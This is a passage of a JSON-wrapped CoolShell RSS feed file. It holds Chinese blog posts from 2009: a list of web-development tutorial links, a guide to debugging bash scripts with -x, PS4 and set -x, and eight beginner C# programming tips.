href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1391.html\">编程真难啊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1391.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>104</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-38.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 38 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=38\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sat, 12 Apr 2014 03:51:45 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>十个Web开发文章和教程</title>\n\t\t<link>https://coolshell.cn/articles/1387.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1387.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 31 Aug 2009 09:18:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS3]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Wordpress]]></category>\n\t\t<category><![CDATA[正则表达式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1387</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是十个在2009年8月份里出现的十个非常不错的Web开发方面的文章和教程。推荐给大家，当然，都是英文啦。如果你愿意，欢迎翻译后提交给酷壳。 1）一个简单的L...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1387.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1387.html\">十个Web开发文章和教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是十个在2009年8月份里出现的十个非常不错的Web开发方面的文章和教程。推荐给大家，当然，都是英文啦。如果你愿意，欢迎翻译后提交给<a href=\"https://coolshell.cn\" target=\"_blank\">酷壳</a>。</p>\n<p>1）<a href=\"http://www.queness.com/post/530/simple-lava-lamp-menu-tutorial-with-jquery\" target=\"_blank\">一个简单的Lava 灯式的菜单</a>（使用jQuery完成）</p>\n<p>2）<a href=\"http://www.jankoatwarpspeed.com/post/2009/08/20/Table-of-contents-using-jQuery.aspx\" target=\"_blank\">使用jQuery自动生成文章内容的目录</a>。就像是使用Word一样，设置一下标题，然后可以自动生成文章的目录。</p>\n<p>3）<a href=\"http://www.queness.com/post/484/create-a-thumbnail-gallery-with-slick-heading-and-caption-effect-with-jquery\" target=\"_blank\">使用jQuery为图片创建图片标题和描述</a>。这是一个超Cool的效果，当你的鼠标移到图片上的时候，图片的上下会出现遮覆，上面是标题，下面是描述，相当不错的用户体验，当鼠标移开后，遮覆消失。</p>\n<p><span id=\"more-1387\"></span></p>\n<p>4）<a href=\"http://net.tutsplus.com/videos/screencasts/a-crash-course-in-advanced-css3-effects/\" target=\"_blank\">CSS3速成教程</a>。主要讨论了CSS3的这些特性：旋转和改变大小，动画，Photoshop风格的遮罩，图片倒影，色彩渐变，转换等。有一个不错的flash视频。</p>\n<p>5）<a href=\"http://www.hongkiat.com/blog/30-new-useful-wordpress-tricks-hacks/\" target=\"_blank\">30+相当有用的Wordpress的巧门</a>。相当相当不错的一些和Wordpress相关的插件和小巧门，非常非常地实用。</p>\n<p>6）<a href=\"http://www.noupe.com/php/htaccess-techniques.html\" target=\"_blank\">htaccess技术的权威性指南</a>。本文给出了12个非常有用的apache的设置，可以让你更容易设置你的站点，在这篇文章的最后，还列出了一些经验上的东西。另外，你可以参考本站的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1035.html\">16个简单实用的.htaccess小贴示</a>》。</p>\n<p>7）<a href=\"http://www.noupe.com/php/php-regular-expressions.html\" target=\"_blank\">PHP正则表达式入门</a>。一个相当不错的入门教程，写得简单易懂。</p>\n<p>8）<a href=\"http://net.tutsplus.com/tutorials/other/8-regular-expressions-you-should-know/\" target=\"_blank\">你需要知道的8个正则表达式</a>。正则表达式很有用，但是它具体用在什么地方呢？这篇文章给你了一票非常实用的示例。相当的不错。浏览这篇文章时别忘了看一下大家的回复，那里面也有很多不错的资源。</p>\n<p>9）<a href=\"http://speckyboy.com/2009/08/26/20-jquery-plugins-and-tutorials-to-enhance-forms/\" target=\"_blank\">20个可以改进表单的jQuery插件</a>。都是相当实用的插件，可以让你的Web表单相当的成熟和有很好的用户体验。</p>\n<p>10）<a href=\"http://css-tricks.com/inapproprite-uses/\" target=\"_blank\">数据库，HTML，CSS，JS不适应的用法</a>。很不错的文章，你需要记住下面的这个表格。</p>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">Database</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt\">is for</em>content</div>\n</div>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">HTML</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt\">is for</em>describing and displaying content</div>\n</div>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">CSS</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt\">is for</em>design</div>\n</div>\n<div style=\"PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; OVERFLOW: hidden; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid\">\n<div style=\"display: block; float: left; width: 200px; text-align: right;\">JavaScript</div>\n<div><em style=\"PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 0pt; PADDING-TOP: 0pt\">is for</em>functionality</div>\n</div>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1387.html\">十个Web开发文章和教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1387.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何调试bash脚本</title>\n\t\t<link>https://coolshell.cn/articles/1379.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1379.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 31 Aug 2009 07:53:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[Debug]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1379</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Bash 是Linux操作系统的默认Shell脚本。Shell是用来处理操作系统和用户交互的一个程序。Shell的脚本可以帮助用户自动化地和操作系统进行交互。你...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1379.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://en.wikipedia.org/wiki/Bash\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"如何调试Bash脚本\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/bash.jpg\" alt=\"如何调试Bash脚本\" width=\"120\" height=\"120\" />Bash</a> 是Linux操作系统的默认Shell脚本。Shell是用来处理操作系统和用户交互的一个程序。Shell的脚本可以帮助用户自动化地和操作系统进行交互。你也可以理解为一种脚本式的编程。即然有编程，那么，程序的编译器，解释器，调试器就必不可少了，Bash也一样，但在调试方面可能会有一些和编程语言不一样的东西和技术，所以，下面这篇文章主要是说明调试bash脚本的各种技术。</p>\n<h4 id=\"Tracing_script_execution\">跟踪脚本的执行</h4>\n<p>你可以让bash打印出你脚本执行的过程中的所有语句。这很简单，只需要使用bash的-x选项就可以做到，下面让我们来看一下。</p>\n<p><span id=\"more-1379\"></span></p>\n<p>下面的这段脚本，先是输出一个问候语句，然后输出当前的时间：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n#!/bin/bash\necho &quot;Hello $USER,&quot;\necho &quot;Today is $(date +&#039;%Y-%m-%d&#039;)&quot;\n</pre>\n<p>下面让我们使用-x选项来运行这段脚本：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ bash -x example_script.sh\n+ echo &#039;Hello chenhao,&#039;\nHello chenhao,\n++ date +%Y-%m-%d\n+ echo &#039;Today is 2009-08-31&#039;\nToday is 2009-08-31\n</pre>\n<p>这时，我们可以看到，bash在运行前打印出了每一行命令。而且每行前面的+号表明了嵌套。这样的输出可以让你看到命令执行的顺序并可以让你知道整个脚本的行为。<br />\n<strong>在跟踪里输出行号</strong></p>\n<p>在一个很大的脚本中，你会看到很多很多的执行跟踪的输出，阅读起来非常费劲，所以，你可以在每一行前加上文件的行号，这会非常有用。要做到这样，你只需要设置下面的环境变量：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"> \nexport PS4=&#039;+${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]}: &#039;\n</pre>\n<p>让我们看看设置上了PS4这个环境变量后会是什么样的输出。</p>\n<p> </p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ bash -x example_script.sh\n+example_script.sh:2:: echo &#039;Hello chenhao,&#039;\nHello chenhao,\n++example_script.sh:3:: date +%Y-%m-%d\n+example_script.sh:3:: echo &#039;Today is 2009-08-31&#039;\nToday is 2009-08-31\n</pre>\n<p> <br />\n<strong>调试部份的脚本</strong></p>\n<p>有些时候，你并不想调试整个脚本，你只要调试其中的一部份，那么，你可以在你想要调试的脚本之前，调用“set -x”，结束的时候调用“set +x”就可以了。如下面的脚本所示：</p>\n<p> </p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n#!/bin/bash\necho &quot;Hello $USER,&quot;\nset -x\necho &quot;Today is $(date %Y-%m-%d)&quot;\nset +x\n</pre>\n<p> </p>\n<p>让我们看看运行起来是啥样？</p>\n<p> </p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ ./example_script.sh\nHello chenhao,\n++example_script.sh:4:: date +%Y-%m-%d\n+example_script.sh:4:: echo &#039;Today is 2009-08-31&#039;\nToday is 2009-08-31\n+example_script.sh:5:: set +x\n</pre>\n<p> </p>\n<p>注意：我们在运行脚本的时候，不需要使用<span>bash -x了。</span></p>\n<p><span> </span></p>\n<h4 id=\"Logging\">日志输出</h4>\n<p>跟踪日志有时候太多了，多得都受不了，而且，输出的内容很难阅读。一般来说，我们很多时候只关心于条件表达式，变量值，或是函数调用，或是循环等。。在这种情况下，log一些感兴趣的特定的信息，可能会更好。</p>\n<p>使用log前，我们先写一个函数：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n_log() {\n    if [ &quot;$_DEBUG&quot; == &quot;true&quot; ]; then\n        echo 1&gt;&amp;2 &quot;$@&quot;\n    fi\n}\n</pre>\n<p> </p>\n<p>于是，你就可以在你的脚本中如下使用：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"> \n_log &quot;Copying files...&quot;\ncp src/* dst/\n</pre>\n<p> <br />\n我们可以看到，上面那个_log函数，需要检查一个<span>_DEBUG</span> 变量，只有这个变量是真，才会真正开发输出日志。这样，你就只需要控制这个开关，而不需要删除你的debug信息。</p>\n<p> </p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"> \n$ _DEBUG=true ./example_script.sh\n</pre>\n<p> </p>\n<h4 id=\"Using_the_Bash_debugger\">使用Bash专用调试器</h4>\n<p>如果你在写一个相当复杂的脚本，并且，你需要一个完整的像调试别的语言一样的调试器，那么你可以试着用用这个开源软件—— <a href=\"http://bashdb.sourceforge.net/\">bashdb</a>， 一个Bash的专用调试器。这个调试器很强大，你想得到的功能，他都有，比如，设置断点，单步跟踪，跳出函数，等等。它的用户接口很想GDB，这是他的<a href=\"http://bashdb.sourceforge.net/bashdb.html\">文档</a> 。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"用脚本实现哄宝宝睡觉(Demo)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2987.html\" class=\"wp_rp_title\">用脚本实现哄宝宝睡觉(Demo)</a></li><li ><a href=\"https://coolshell.cn/articles/1539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/baby_linux-150x150.jpg\" alt=\"用脚本实现哄小孩睡觉\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1539.html\" class=\"wp_rp_title\">用脚本实现哄小孩睡觉</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1379.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>初学C#编程的注意事项</title>\n\t\t<link>https://coolshell.cn/articles/1375.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1375.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 31 Aug 2009 04:15:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[.NET编程]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1375</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是8个C#编程时的注意事项是给初学者的，可能你知道，也可能你不知道，不过这些都是一些可能会让人疏忽的地方，还是要注意一下。 1.使用String变量: 考虑...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1375.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1375.html\">初学C#编程的注意事项</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是8个C#编程时的注意事项是给初学者的，可能你知道，也可能你不知道，不过这些都是一些可能会让人疏忽的地方，还是要注意一下。</p>\n<p><strong>1.使用String变量:</strong></p>\n<p>考虑有下面的一个程序想判断一下字符串是否有内容。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nif (someString.Length &gt; 0)\n{\n    // …\n}\n</pre>\n<p>但是，这个字符串对象很可能是个空对象，所以，最好先判断一下null</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nif  (!String.IsNullOrEmpty(someString))\n{\n    // 是不是更好一些？\n}\n</pre>\n<p><span id=\"more-1375\"></span></p>\n<p><strong>2.字符器连接</strong></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nstring s = “dev”;\ns += “-”;\ns += “the”;\ns += “-”;\ns += “web”;\ns += “.”;\ns += “com”;\n</pre>\n<p>这样做没什么问题，只不过性能不高，因为+=操作符其实调用的是String类的Append访问，所以，+=会有两次函数调用，下面的则会好一些。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nStringBuilder s = new StringBuilder();\ns.Append(”dev”);\ns.Append(”-”);\ns.Append(”the”);\ns.Append(”-”);\ns.Append(”web”);\ns.Append(”.”);\ns.Append(”com”);\n</pre>\n<p><strong>3.使用Console</strong></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nConsole.WriteLine(&quot;A= &quot; + 1 + &quot; B=&quot; + 2 + &quot; C= &quot; + someValue);\n</pre>\n<p>和第二点说的一样，这并没有效率，使用下面的语句，会更有效率。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nConsole.WriteLine(”A: {0}\\nB: {1}\\nC: {2}”, 1, 2, someValue);\n</pre>\n<p><strong>4.字符串转整型</strong></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nint i = int.Parse(Request.QueryString[&quot;id&quot;]);\n</pre>\n<p>这样做的问题是，如果有人这样请求你的页面：yourpage.aspx?id=A6，那么A6将会导致你的程序抛出一个异常。因为A6不是一个整数字符串。使用TryParse会好一点。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nint i;\nif (!int.TryParse(Request.QueryString[&quot;id&quot;] , out i))\n{\n    //…\n}\n</pre>\n<p><strong>5. 调用IDbConnection 的 Close 方法</strong></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nIDbConnection dbConn = null;\n\ntry\n{\n    dbConn = new SqlConnection(”some Connection String”);\n    dbConn.Open();\n}\nfinally\n{\n    dbConn.Close();\n}\n</pre>\n<p>调用SqlConnection的构造函数可能会出现一个异常，如果是这样的话，我们还需要调用Close方法吗？</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nIDbConnection dbConn = null;\n\ntry\n{\n    dbConn = new SqlConnection(”Some Connection String”);\n    dbConn.Open();\n}\nfinally\n{\n    if (dbConn != null)\n    {\n        dbConn.Close();\n    }\n}\n</pre>\n<p><strong>6.使用List类</strong></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\npublic void SomeMethod(List&lt;SomeItem&gt; items)\n{\n    foreach(var item in items)\n    {\n        // do something with the item…\n    }\n}\n</pre>\n<p>如果我们只是遍历List容器中的所有内容的话，那么，使用IEnumerable接口会更好一些。因为函数参数传递一个List对象要比一个IEnumerable接口要花费更多的开销。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\npublic void SomeMethod(IEnumerable&lt;SomeItem&gt; items)\n{\n    foreach(var item in items)\n    {\n        // do something with the item…\n    }\n}\n</pre>\n<p><strong>7.直接使用数字</strong></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nif(mode == 1) { … }\nelse if(mode == 2) { … }\nelse if(mode == 3) { … }\n</pre>\n<p>为什么不给你的这些数字取个名字呢？比如使用Enumerations。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\npublic enum SomeEnumerator\n{\n    DefaultMode = 1,\n    SafeMode = 2,\n    NormalMode = 3\n}\n\nif(mode == SomeEnumerator.DefaultMode) { … }\nelse if(mode == SomeEnumerator.SafeMode) { … }\nelse if(mode == SomeEnumerator.NormalMode) { … }\n</pre>\n<p><strong>8.字符串替换</strong></p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\nstring s = &quot;www.coolshell.cn is a amazing site&quot;;\ns.Replace(&quot;amazing&quot;, &quot;awful&quot;);\n</pre>\n<p>字符串s的内容什么也不会改变，因为string返回的是替换过的字串。这点很多初学者经常忘了。下面就没有问题了。</p>\n<pre data-enlighter-language=\"csharp\" class=\"EnlighterJSRAW\">\ns = s.Replace(&quot;amazing&quot;, &quot;awful&quot;);\n</pre>\n<p>文章：<a href=\"http://dev-the-web.com/blog/2009/08/27/top-csharp-programming-mistakes/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a 